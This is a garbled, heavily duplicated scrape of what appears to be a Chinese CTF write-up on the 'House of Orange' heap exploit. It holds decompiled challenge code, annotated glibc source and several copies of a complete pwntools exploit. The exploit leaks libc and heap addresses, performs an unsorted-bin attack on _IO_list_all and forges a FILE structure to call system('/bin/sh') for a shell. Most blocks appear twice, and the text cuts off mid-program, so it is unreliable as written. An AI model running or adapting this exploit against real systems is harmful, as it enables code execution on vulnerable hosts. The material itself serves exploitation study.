(len_of_name);
if
( !*((_QWORD *)house + 1) )
{
puts
(
"Malloc error !!!"
);
exit
(1);
}
printf
(
"Name :"
);
Read(*((
void
**)house + 1), len_of_name);
// 这个读取没有截断,可能存在泄露
orange = (
__int64
)
calloc
(1uLL, 8uLL);
printf
(
"Price of Orange:"
);
*(_DWORD *)orange = get_num();
Color();
printf
(
"Color of Orange:"
);
type = get_num();
if
( type != 0xDDAA && (type <= 0 || type > 7) )
{
puts
(
"No such color"
);
exit
(1);
}
if
( type == 0xDDAA )
*(_DWORD *)(orange + 4) = 0xDDAA;
else
*(_DWORD *)(orange + 4) = type + 0x1E;
*(_QWORD *)house = orange;
house_list = house;
++max_house;
return
puts
(
"Finish"
);
}
int
sub_EE6()
{
int
v0;
// eax
int
v2;
// eax
if
( !house_list )
return
puts
(
"No such house !"
);
if
( *(_DWORD *)(*house_list + 4LL) == 0xDDAA )
{
printf
(
"Name of house : %s\n"
, (
const
char
*)house_list[1]);
printf
(
"Price of orange : %d\n"
, *(unsigned
int
*)*house_list);
v0 =
rand
();
return
printf
(
"\x1B[01;38;5;214m%s\x1B[0m\n"
, *((
const
char
**)&unk_203080 + v0 % 8));
}
else
{
if
( *(
int
*)(*house_list + 4LL) <= 0x1E || *(
int
*)(*house_list + 4LL) > 0x25 )
{
puts
(
"Color corruption!"
);
exit
(1);
}
printf
(
"Name of house : %s\n"
, (
const
char
*)house_list[1]);
printf
(
"Price of orange : %d\n"
, *(unsigned
int
*)*house_list);
v2 =
rand
();
return
printf
(
"\x1B[%dm%s\x1B[0m\n"
, *(unsigned
int
*)(*house_list + 4LL), *((
const
char
**)&unk_203080 + v2 % 8));
}
}
int
sub_EE6()
{
int
v0;
// eax
int
v2;
// eax
if
( !house_list )
return
puts
(
"No such house !"
);
if
( *(_DWORD *)(*house_list + 4LL) == 0xDDAA )
{
printf
(
"Name of house : %s\n"
, (
const
char
*)house_list[1]);
printf
(
"Price of orange : %d\n"
, *(unsigned
int
*)*house_list);
v0 =
rand
();
return
printf
(
"\x1B[01;38;5;214m%s\x1B[0m\n"
, *((
const
char
**)&unk_203080 + v0 % 8));
}
else
{
if
( *(
int
*)(*house_list + 4LL) <= 0x1E || *(
int
*)(*house_list + 4LL) > 0x25 )
{
puts
(
"Color corruption!"
);
exit
(1);
}
printf
(
"Name of house : %s\n"
, (
const
char
*)house_list[1]);
printf
(
"Price of orange : %d\n"
, *(unsigned
int
*)*house_list);
v2 =
rand
();
return
printf
(
"\x1B[%dm%s\x1B[0m\n"
, *(unsigned
int
*)(*house_list + 4LL), *((
const
char
**)&unk_203080 + v2 % 8));
}
}
int
Upgrade()
{
_DWORD *house;
// rbx
unsigned
int
len_of_name;
// [rsp+8h] [rbp-18h]
int
type;
// [rsp+Ch] [rbp-14h]
if
( max_up > 2u )
return
puts
(
"You can't upgrade more"
);
if
( !house_list )
return
puts
(
"No such house !"
);
printf
(
"Length of name :"
);
len_of_name = get_num();
if
( len_of_name > 0x1000 )
len_of_name = 0x1000;
printf
(
"Name:"
);
Read((
void
*)house_list[1], len_of_name);
printf
(
"Price of Orange: "
);
house = (_DWORD *)*house_list;
*house = get_num();
Color();
printf
(
"Color of Orange: "
);
type = get_num();
if
( type != 0xDDAA && (type <= 0 || type > 7) )
{
puts
(
"No such color"
);
exit
(1);
}
if
( type == 0xDDAA )
*(_DWORD *)(*house_list + 4LL) = 0xDDAA;
else
*(_DWORD *)(*house_list + 4LL) = type + 0x1E;
++max_up;
return
puts
(
"Finish"
);
}
int
Upgrade()
{
_DWORD *house;
// rbx
unsigned
int
len_of_name;
// [rsp+8h] [rbp-18h]
int
type;
// [rsp+Ch] [rbp-14h]
if
( max_up > 2u )
return
puts
(
"You can't upgrade more"
);
if
( !house_list )
return
puts
(
"No such house !"
);
printf
(
"Length of name :"
);
len_of_name = get_num();
if
( len_of_name > 0x1000 )
len_of_name = 0x1000;
printf
(
"Name:"
);
Read((
void
*)house_list[1], len_of_name);
printf
(
"Price of Orange: "
);
house = (_DWORD *)*house_list;
*house = get_num();
Color();
printf
(
"Color of Orange: "
);
type = get_num();
if
( type != 0xDDAA && (type <= 0 || type > 7) )
{
puts
(
"No such color"
);
exit
(1);
}
if
( type == 0xDDAA )
*(_DWORD *)(*house_list + 4LL) = 0xDDAA;
else
*(_DWORD *)(*house_list + 4LL) = type + 0x1E;
++max_up;
return
puts
(
"Finish"
);
}
static
void
*
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{
// 这里阈值大于 mp_.mmap_threshold 就会调用 mmap 函数分配一块新的 top chunk。
...
if
(av == NULL
|| ((unsigned
long
) (nb) >= (unsigned
long
) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char
*mm;
/* return value from mmap call*/
try_mmap:
...
}
...
if
(av == NULL)
return
0;
old_top = av->top;
old_size = chunksize (old_top);
old_end = (
char
*) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (
char
*) (MORECORE_FAILURE);
/*
* 1. (unsigned long) (old_size) >= MINSIZE 也就是0x20。
* 2. prev_inuse == 1
* 3. ((unsigned long) old_end & (pagesize - 1)) == 0 页对齐
* 4. (unsigned long) (old_size) < (unsigned long) (nb + MINSIZE) 新申请的 size 大于 old size + MINSIZE
*/
assert
((old_top == initial_top (av) && old_size == 0) ||
((unsigned
long
) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned
long
) old_end & (pagesize - 1)) == 0));
assert
((unsigned
long
) (old_size) < (unsigned
long
) (nb + MINSIZE));
if
(av != &main_arena)
{
heap_info *old_heap, *heap;
size_t
old_heap_size;
old_heap = heap_for_ptr (old_top);
old_heap_size = old_heap->size;
if
((
long
) (MINSIZE + nb - old_size) > 0
&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
{
av->system_mem += old_heap->size - old_heap_size;
arena_mem += old_heap->size - old_heap_size;
set_head (old_top, (((
char
*) old_heap + old_heap->size) - (
char
*) old_top)
| PREV_INUSE);
}
else
if
((heap = new_heap (nb + (MINSIZE +
sizeof
(*heap)), mp_.top_pad)))
{
heap->ar_ptr = av;
heap->prev = old_heap;
av->system_mem += heap->size;
arena_mem += heap->size;
top (av) = chunk_at_offset (heap,
sizeof
(*heap));
set_head (top (av), (heap->size -
sizeof
(*heap)) | PREV_INUSE);
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if
(old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
// 释放 old_top_chunk 到 unsorted bin。
_int_free (av, old_top, 1);
}
else
{
set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
set_foot (old_top, (old_size + 2 * SIZE_SZ));
}
}
else
if
(!tried_mmap)
goto
try_mmap;
}
...
}
static
void
*
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{
// 这里阈值大于 mp_.mmap_threshold 就会调用 mmap 函数分配一块新的 top chunk。
...
if
(av == NULL
|| ((unsigned
long
) (nb) >= (unsigned
long
) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char
*mm;
/* return value from mmap call*/
try_mmap:
...
}
...
if
(av == NULL)
return
0;
old_top = av->top;
old_size = chunksize (old_top);
old_end = (
char
*) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (
char
*) (MORECORE_FAILURE);
/*
* 1. (unsigned long) (old_size) >= MINSIZE 也就是0x20。
* 2. prev_inuse == 1
* 3. ((unsigned long) old_end & (pagesize - 1)) == 0 页对齐
* 4. (unsigned long) (old_size) < (unsigned long) (nb + MINSIZE) 新申请的 size 大于 old size + MINSIZE
*/
assert
((old_top == initial_top (av) && old_size == 0) ||
((unsigned
long
) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned
long
) old_end & (pagesize - 1)) == 0));
assert
((unsigned
long
) (old_size) < (unsigned
long
) (nb + MINSIZE));
if
(av != &main_arena)
{
heap_info *old_heap, *heap;
size_t
old_heap_size;
old_heap = heap_for_ptr (old_top);
old_heap_size = old_heap->size;
if
((
long
) (MINSIZE + nb - old_size) > 0
&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
{
av->system_mem += old_heap->size - old_heap_size;
arena_mem += old_heap->size - old_heap_size;
set_head (old_top, (((
char
*) old_heap + old_heap->size) - (
char
*) old_top)
| PREV_INUSE);
}
else
if
((heap = new_heap (nb + (MINSIZE +
sizeof
(*heap)), mp_.top_pad)))
{
heap->ar_ptr = av;
heap->prev = old_heap;
av->system_mem += heap->size;
arena_mem += heap->size;
top (av) = chunk_at_offset (heap,
sizeof
(*heap));
set_head (top (av), (heap->size -
sizeof
(*heap)) | PREV_INUSE);
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if
(old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
// 释放 old_top_chunk 到 unsorted bin。
_int_free (av, old_top, 1);
}
else
{
set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
set_foot (old_top, (old_size + 2 * SIZE_SZ));
}
}
else
if
(!tried_mmap)
goto
try_mmap;
}
...
}
from
pwn
import
*
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
lk
=
lambda
addrstring, address: log.info(
'{}: %#x'
.
format
(addrstring), address)
is_local
=
True
def
connect():
global
io, elf, libc
elf
=
ELF(
"./houseoforange"
)
libc
=
elf.libc
if
is_local:
io
=
process(
'./houseoforange'
)
else
:
io
=
remote(
'192.168.152.138'
,
10001
)
is_debug
=
True
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(io, gdbscript
=
gdbscript)
pause()
else
:
pass
def
build(length, name, price, color):
io.sendlineafter(b
"Your choice :"
,
str
(
1
).encode())
io.sendlineafter(b
"Length of name :"
,
str
(length).encode())
io.sendafter(b
"Name :"
, name)
io.sendlineafter(b
"Price of Orange:"
,
str
(price).encode())
io.sendlineafter(b
"Color of Orange:"
,
str
(color).encode())
def
upgrade(length, name, price, color):
io.sendlineafter(b
"Your choice :"
,
str
(
3
).encode())
io.sendlineafter(b
"Length of name :"
,
str
(length).encode())
io.sendafter(b
"Name:"
, name)
io.sendlineafter(b
"Price of Orange: "
,
str
(price).encode())
io.sendlineafter(b
"Color of Orange:"
,
str
(color).encode())
from
pwn
import
*
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
lk
=
lambda
addrstring, address: log.info(
'{}: %#x'
.
format
(addrstring), address)
is_local
=
True
def
connect():
global
io, elf, libc
elf
=
ELF(
"./houseoforange"
)
libc
=
elf.libc
if
is_local:
io
=
process(
'./houseoforange'
)
else
:
io
=
remote(
'192.168.152.138'
,
10001
)
is_debug
=
True
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(io, gdbscript
=
gdbscript)
pause()
else
:
pass
def
build(length, name, price, color):
io.sendlineafter(b
"Your choice :"
,
str
(
1
).encode())
io.sendlineafter(b
"Length of name :"
,
str
(length).encode())
io.sendafter(b
"Name :"
, name)
io.sendlineafter(b
"Price of Orange:"
,
str
(price).encode())
io.sendlineafter(b
"Color of Orange:"
,
str
(color).encode())
def
upgrade(length, name, price, color):
io.sendlineafter(b
"Your choice :"
,
str
(
3
).encode())
io.sendlineafter(b
"Length of name :"
,
str
(length).encode())
io.sendafter(b
"Name:"
, name)
io.sendlineafter(b
"Price of Orange: "
,
str
(price).encode())
io.sendlineafter(b
"Color of Orange:"
,
str
(color).encode())
def leak():
global malloc_hook, _IO_list_all, system_addr, heap_base
build(0x30, b
'ffff'
, 233, 0xDDAA) # chunk0
#debug()
payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA)
payload += p64(0) * 2 + p64(0xf81)
upgrade(len(payload), payload, 233, 0xDDAA) # size must be page aligned
#debug()
build(0x1000, b
'f'
, 233, 0xDDAA) # chunk1
#debug()
build(0x400, b
'f'
*8, 666, 2) # chunk2
debug()
io.sendlineafter(b
"Your choice :"
, str(2).encode())
io.recvuntil(b
'f'
*8)
libc.address = u64(io.recvuntil(b
'\x7f'
).ljust(8, b
'\x00'
)) - 0x3c5188
lk(
'libc base address'
, libc.address)
_IO_list_all = libc.sym[
'_IO_list_all'
]
system_addr = libc.sym[
'system'
]
lk(
'_IO_list_all'
, _IO_list_all)
lk(
'system_addr'
, system_addr)
upgrade(0x10, b
'f'
*0x10, 666, 2)
debug()
io.sendlineafter(b
"Your choice :"
, str(2).encode())
io.recvuntil(b
'f'
*0x10)
heap_addr = u64(io.recvuntil(b
'\n'
, drop=True).ljust(8, b
'\x00'
))
heap_base = heap_addr - 0xE0
lk(
'heap_base'
, heap_base)
def leak():
global malloc_hook, _IO_list_all, system_addr, heap_base
build(0x30, b
'ffff'
, 233, 0xDDAA) # chunk0
#debug()
payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA)
payload += p64(0) * 2 + p64(0xf81)
upgrade(len(payload), payload, 233, 0xDDAA) # size must be page aligned
#debug()
build(0x1000, b
'f'
, 233, 0xDDAA) # chunk1
#debug()
build(0x400, b
'f'
*8, 666, 2) # chunk2
debug()
io.sendlineafter(b
"Your choice :"
, str(2).encode())
io.recvuntil(b
'f'
*8)
libc.address = u64(io.recvuntil(b
'\x7f'
).ljust(8, b
'\x00'
)) - 0x3c5188
lk(
'libc base address'
, libc.address)
_IO_list_all = libc.sym[
'_IO_list_all'
]
system_addr = libc.sym[
'system'
]
lk(
'_IO_list_all'
, _IO_list_all)
lk(
'system_addr'
, system_addr)
upgrade(0x10, b
'f'
*0x10, 666, 2)
debug()
io.sendlineafter(b
"Your choice :"
, str(2).encode())
io.recvuntil(b
'f'
*0x10)
heap_addr = u64(io.recvuntil(b
'\n'
, drop=True).ljust(8, b
'\x00'
))
heap_base = heap_addr - 0xE0
lk(
'heap_base'
, heap_base)
def
FSOP():
orange
=
b
'/bin/sh\x00'
+
p64(
0x61
)
+
p64(
0
)
+
p64(_IO_list_all
-
0x10
)
# unsorted_bin_attack
orange
+
=
p64(
0
)
+
p64(
1
)
orange
=
orange.ljust(
0xc0
, b
'\x00'
)
orange
+
=
p64(
0
)
*
3
+
p64(heap_base
+
0x5E8
)
+
p64(
0
)
*
2
+
p64(system_addr)
payload
=
cyclic(
0x400
)
+
p64(
0
)
+
p64(
0x21
)
+
p32(
233
)
+
p32(
0xDDAA
)
+
p64(
0
)
payload
+
=
orange
upgrade(
len
(payload), payload,
233
,
0xDDAA
)
debug()
gdb.attach(io)
io.sendlineafter(b
'Your choice : '
,
str
(
1
).encode())
pause()
def
FSOP():
orange
=
b
'/bin/sh\x00'
+
p64(
0x61
)
+
p64(
0
)
+
p64(_IO_list_all
-
0x10
)
# unsorted_bin_attack
orange
+
=
p64(
0
)
+
p64(
1
)
orange
=
orange.ljust(
0xc0
, b
'\x00'
)
orange
+
=
p64(
0
)
*
3
+
p64(heap_base
+
0x5E8
)
+
p64(
0
)
*
2
+
p64(system_addr)
payload
=
cyclic(
0x400
)
+
p64(
0
)
+
p64(
0x21
)
+
p32(
233
)
+
p32(
0xDDAA
)
+
p64(
0
)
payload
+
=
orange
upgrade(
len
(payload), payload,
233
,
0xDDAA
)
debug()
gdb.attach(io)
io.sendlineafter(b
'Your choice : '
,
str
(
1
).encode())
pause()
struct
malloc_state
{
__libc_lock_define (, mutex);
int
flags;
/* int have_fastchunks; glibc 2.23 无此成员 */
mfastbinptr fastbinsY[NFASTBINS];
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins[NBINS * 2 - 2];
unsigned
int
binmap[BINMAPSIZE];
struct
malloc_state *next;
struct
malloc_state *next_free;
INTERNAL_SIZE_T attached_threads;
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
struct
malloc_state
{
__libc_lock_define (, mutex);
int
flags;
/* int have_fastchunks; glibc 2.23 无此成员 */
mfastbinptr fastbinsY[NFASTBINS];
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins[NBINS * 2 - 2];
unsigned
int
binmap[BINMAPSIZE];
struct
malloc_state *next;
struct
malloc_state *next_free;
INTERNAL_SIZE_T attached_threads;
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
if
(((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
if
(((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
from
pwn
import
*
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
lk
=
lambda
addrstring, address: log.info(
'{}: %#x'
.
format
(addrstring), address)
is_local
=
True
def
connect():
global
io, elf, libc
elf
=
ELF(
"./houseoforange"
)
libc
=
elf.libc
if
is_local:
io
=
process(
'./houseoforange'
)
else
:
io
=
remote(
'192.168.152.138'
,
10001
)
is_debug
=
True
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(io, gdbscript
=
gdbscript)
pause()
else
:
pass
def
build(length, name, price, color):
io.sendlineafter(b
"Your choice :"
,
str
(
1
).encode())
io.sendlineafter(b
"Length of name :"
,
str
(length).encode())
io.sendafter(b
"Name :"
, name)
io.sendlineafter(b
"Price of Orange:"
,
str
(price).encode())
io.sendlineafter(b
"Color of Orange:"
,
str
(color).encode())
def
upgrade(length, name, price, color):
io.sendlineafter(b
"Your choice :"
,
str
(
3
).encode())
io.sendlineafter(b
"Length of name :"
,
str
(length).encode())
io.sendafter(b
"Name:"
, name)
io.sendlineafter(b
"Price of Orange: "
,
str
(price).encode())
io.sendlineafter(b
"Color of Orange:"
,
str
(color).encode())
def
leak():
global
malloc_hook, _IO_list_all, system_addr, heap_base
build(
0x30
, b
'ffff'
,
233
,
0xDDAA
)
# chunk0
#debug()
payload
=
cyclic(
0x30
)
+
p64(
0
)
+
p64(
0x21
)
+
p32(
233
)
+
p32(
0xDDAA
)
payload
+
=
p64(
0
)
*
2
+
p64(
0xf81
)
upgrade(
len
(payload), payload,
233
,
0xDDAA
)
# size must be page aligned
#debug()
build(
0x1000
, b
'f'
,
233
,
0xDDAA
)
# chunk1
#debug()
build(
0x400
, b
'f'
*
8
,
666
,
2
)
# chunk2
#debug()
io.sendlineafter(b
"Your choice :"
,
str
(
2
).encode())
io.recvuntil(b
'f'
*
8
)
libc.address
=
u64(io.recvuntil(b
'\x7f'
).ljust(
8
, b
'\x00'
))
-
0x3c5188
lk(
'libc base address'
, libc.address)
_IO_list_all
=
libc.sym[
'_IO_list_all'
]
system_addr
=
libc.sym[
'system'
]
lk(
'_IO_list_all'
, _IO_list_all)
lk(
'system_addr'
, system_addr)
upgrade(
0x10
, b
'f'
*
0x10
,
666
,
2
)
#debug()
io.sendlineafter(b
"Your choice :"
,
str
(
2
).encode())
io.recvuntil(b
'f'
*
0x10
)
heap_addr
=
u64(io.recvuntil(b
'\n'
, drop
=
True
).ljust(
8
, b
'\x00'
))
heap_base
=
heap_addr
-
0xE0
lk(
'heap_base'
, heap_base)
def
FSOP():
orange
=
b
'/bin/sh\x00'
+
p64(
0x61
)
+
p64(
0
)
+
p64(_IO_list_all
-
0x10
)
# unsorted_bin_attack
orange
+
=
p64(
0
)
+
p64(
1
)
# fp->_mode <= 0;fp->_IO_write_ptr>fp->_IO_write_base
orange
=
orange.ljust(
0xc0
, b
'\x00'
)
orange
+
=
p64(
0
)
*
3
+
p64(heap_base
+
0x5E8
)
+
p64(
0
)
*
2
+
p64(system_addr)
payload
=
cyclic(
0x400
)
+
p64(
0
)
+
p64(
0x21
)
+
p32(
233
)
+
p32(
0xDDAA
)
+
p64(
0
)
payload
+
=
orange
upgrade(
len
(payload), payload,
233
,
0xDDAA
)
#debug()
#gdb.attach(io)
io.sendlineafter(b
'Your choice : '
,
str
(
1
).encode())
#pause()
def
pwn():
connect()
leak()
FSOP()
io.interactive()
if
__name__
=
=
"__main__"
:
pwn()
from
pwn
import
*
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
lk
=
lambda
addrstring, address: log.info(
'{}: %#x'
.
format
(addrstring), address)
is_local
=
True
def
connect():
global
io, elf, libc
elf
=
ELF(
"./houseoforange"
)
libc
=
elf.libc
if
is_local:
io
=
process(
'./houseoforange'
)
else
:
io
=
remote(
'192.168.152.138'
,
10001
)
is_debug
=
True
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(io, gdbscript
=
gdbscript)
pause()
else
:
pass
def
build(length, name, price, color):
io.sendlineafter(b
"Your choice :"
,
str
(
1
).encode())
io.sendlineafter(b
"Length of name :"
,
str
(length).encode())
io.sendafter(b
"Name :"
, name)
io.sendlineafter(b
"Price of Orange:"
,
str
(price).encode())
io.sendlineafter(b
"Color of Orange:"
,
str
(color).encode())
def
upgrade(length, name, price, color):
io.sendlineafter(b
"Your choice :"
,
str
(
3
).encode())
io.sendlineafter(b
"Length of name :"
,
str
(length).encode())
io.sendafter(b
"Name:"
, name)
io.sendlineafter(b
"Price of Orange: "
,
str
(price).encode())
io.sendlineafter(b
"Color of Orange:"
,
str
(color).encode())
def
leak():
global
malloc_hook, _IO_list_all, system_addr, heap_base
build(
0x30
, b
'ffff'
,
233
,
0xDDAA
)
# chunk0
#debug()
payload
=
cyclic(
0x30
)
+
p64(
0
)
+
p64(
0x21
)
+
p32(
233
)
+
p32(
0xDDAA
)
payload
+
=
p64(
0
)
*
2
+
p64(
0xf81
)
upgrade(
len
(payload), payload,
233
,
0xDDAA
)
# size must be page aligned
#debug()
build(
0x1000
, b
'f'
,
233
,
0xDDAA
)
# chunk1
#debug()
build(
0x400
, b
'f'
*
8
,
666
,
2
)
# chunk2
#debug()
io.sendlineafter(b
"Your choice :"
,
str
(
2
).encode())
io.recvuntil(b
'f'
*
8
)
libc.address
=
u64(io.recvuntil(b
'\x7f'
).ljust(
8
, b
'\x00'
))
-
0x3c5188
lk(
'libc base address'
, libc.address)
_IO_list_all
=
libc.sym[
'_IO_list_all'
]
system_addr
=
libc.sym[
'system'
]
lk(
'_IO_list_all'
, _IO_list_all)
lk(
'system_addr'
, system_addr)
upgrade(
0x10
, b
'f'
*
0x10
,
666
,
2
)
#debug()
io.sendlineafter(b
"Your choice :"
,
str
(
2
).encode())
io.recvuntil(b
'f'
*
0x10
)
heap_addr
=
u64(io.recvuntil(b
'\n'
, drop
=
True
).ljust(
8
, b
'\x00'
))
heap_base
=
heap_addr
-
0xE0
lk(
'heap_base'
, heap_base)
def
FSOP():
orange
=
b
'/bin/sh\x00'
+
p64(
0x61
)
+
p64(
0
)
+
p64(_IO_list_all
-
0x10
)
# unsorted_bin_attack
orange
+
=
p64(
0
)
+
p64(
1
)
# fp->_mode <= 0;fp->_IO_write_ptr>fp->_IO_write_base
orange
=
orange.ljust(
0xc0
, b
'\x00'
)
orange
+
=
p64(
0
)
*
3
+
p64(heap_base
+
0x5E8
)
+
p64(
0
)
*
2
+
p64(system_addr)
payload
=
cyclic(
0x400
)
+
p64(
0
)
+
p64(
0x21
)
+
p32(
233
)
+
p32(
0xDDAA
)
+
p64(
0
)
payload
+
=
orange
upgrade(
len
(payload), payload,
233
,
0xDDAA
)
#debug()
#gdb.attach(io)
io.sendlineafter(b
'Your choice : '
,
str
(
1
).encode())
#pause()
def
pwn():
connect()
leak()
FSOP()
io.interactive()
if
__name__
=
=
"__main__"
:
pwn()
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(
struct
_IO_jump_t **) ((
void
*) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
IO_validate_vtable (
const
struct
_IO_jump_t *vtable)
{
// 计算 _IO_vtable 长度
uintptr_t
section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const
char
*ptr = (
const
char
*) vtable;
// 计算 ptr 与 __start___libc_IO_vtables 距离
uintptr_t
offset = ptr - __start___libc_IO_vtables;
// 如果即不在 _IO_vtable_段内, 则调用 _IO_vtable_check ()
if
(__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return
vtable;
}
void
attribute_hidden
_IO_vtable_check (
void
)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void
(*flag) (
void
) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if
(flag == &_IO_vtable_check)
return
;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct
link_map *l;
if
(_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return
;
}
#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if
(__dlopen != NULL)
return
;
#endif
__libc_fatal (
"Fatal error: glibc detected an invalid stdio handle\n"
);
}
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(
struct
_IO_jump_t **) ((
void
*) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
IO_validate_vtable (
const
struct
_IO_jump_t *vtable)
{
// 计算 _IO_vtable 长度
uintptr_t
section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const
char
*ptr = (
const
char
*) vtable;
// 计算 ptr 与 __start___libc_IO_vtables 距离
uintptr_t
offset = ptr - __start___libc_IO_vtables;
// 如果即不在 _IO_vtable_段内, 则调用 _IO_vtable_check ()
if
(__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();
return
vtable;
}
void
attribute_hidden
_IO_vtable_check (
void
)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void
(*flag) (
void
) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if
(flag == &_IO_vtable_check)
return
;
/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct
link_map *l;
if
(_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return
;
}
#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if
(__dlopen != NULL)
return
;
#endif
__libc_fatal (
"Fatal error: glibc detected an invalid stdio handle\n"
);
}
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp,
void
*data, _IO_size_t n)
{
...
/* fp->_IO_buf_base == NULL 会调用 _IO_doallocbuf (fp) 初始化缓冲区 */
if
(fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if
(fp->_IO_save_base != NULL)
{
free
(fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
/* 如果 fp->_IO_read_end > fp->_IO_read_ptr 则会将缓冲区内容复制到目标地址 */
...
have = fp->_IO_read_end - fp->_IO_read_ptr;
...
if
(have > 0)
{
s = __mempcpy (s, fp->_IO_read_ptr, have);
want -= have;
fp->_IO_read_ptr += have;
}
...
/* 如果输入长度大于缓冲区大小则会直接读入 */
if
(fp->_IO_buf_base && want < (
size_t
) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if
(__underflow (fp) == EOF)
break
;
continue
;
}
...
}
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp,
void
*data, _IO_size_t n)
{
...
/* fp->_IO_buf_base == NULL 会调用 _IO_doallocbuf (fp) 初始化缓冲区 */
if
(fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if
(fp->_IO_save_base != NULL)
{
free
(fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
/* 如果 fp->_IO_read_end > fp->_IO_read_ptr 则会将缓冲区内容复制到目标地址 */
...
have = fp->_IO_read_end - fp->_IO_read_ptr;
...
if
(have > 0)
{
s = __mempcpy (s, fp->_IO_read_ptr, have);
want -= have;
fp->_IO_read_ptr += have;
}
...
/* 如果输入长度大于缓冲区大小则会直接读入 */
if
(fp->_IO_buf_base && want < (
size_t
) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if
(__underflow (fp) == EOF)
break
;
continue
;
}
...
}
#include<stdio.h>
#include<unistd.h>
#define _GNU_SOURCE
typedef
unsigned
long
long
i64;
char
buf[100];
int
main() {
char
stack_buf[100];
i64 libc_base = (i64) &
puts
- 0x84420;
